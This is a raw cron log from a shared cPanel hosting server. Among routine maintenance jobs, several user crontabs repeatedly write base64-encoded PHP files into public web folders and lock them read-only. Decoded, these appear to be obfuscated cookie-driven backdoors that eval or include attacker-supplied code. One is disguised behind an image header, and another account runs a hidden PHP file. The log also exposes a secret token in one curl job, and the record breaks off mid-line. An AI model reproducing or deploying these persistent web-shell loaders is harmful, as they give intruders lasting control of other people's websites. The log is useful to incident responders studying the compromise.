Mar  1 12:03:02 medusa CROND[1938]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:03:02 medusa CROND[1939]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:03:02 medusa CROND[1941]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:03:02 medusa CROND[1940]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:03:02 medusa CROND[1948]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:04:01 medusa CROND[23197]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:04:01 medusa CROND[23198]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:04:01 medusa CROND[23200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:04:01 medusa CROND[23204]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:04:01 medusa CROND[23205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:04:01 medusa CROND[23202]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:04:01 medusa CROND[23207]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:04:01 medusa CROND[23208]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:04:01 medusa CROND[23209]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:04:01 medusa CROND[23214]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:04:01 medusa CROND[23215]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:04:01 medusa CROND[23218]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:04:01 medusa CROND[23212]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:05:02 medusa CROND[12668]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:05:02 medusa CROND[12670]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:05:02 medusa CROND[12672]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:05:02 medusa CROND[12673]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:05:02 medusa CROND[12776]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:05:02 medusa CROND[12777]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:05:02 medusa CROND[12778]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:05:02 medusa CROND[12779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:05:02 medusa CROND[12780]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:05:02 medusa CROND[12785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:05:02 medusa CROND[12786]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:05:02 medusa CROND[12787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 12:05:02 medusa CROND[12789]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:05:02 medusa CROND[12788]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:05:02 medusa CROND[12791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:05:02 medusa CROND[12802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:05:02 medusa CROND[12803]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:05:02 medusa CROND[12805]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:05:02 medusa CROND[12804]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:05:02 medusa CROND[12806]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 12:05:02 medusa CROND[12810]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogIC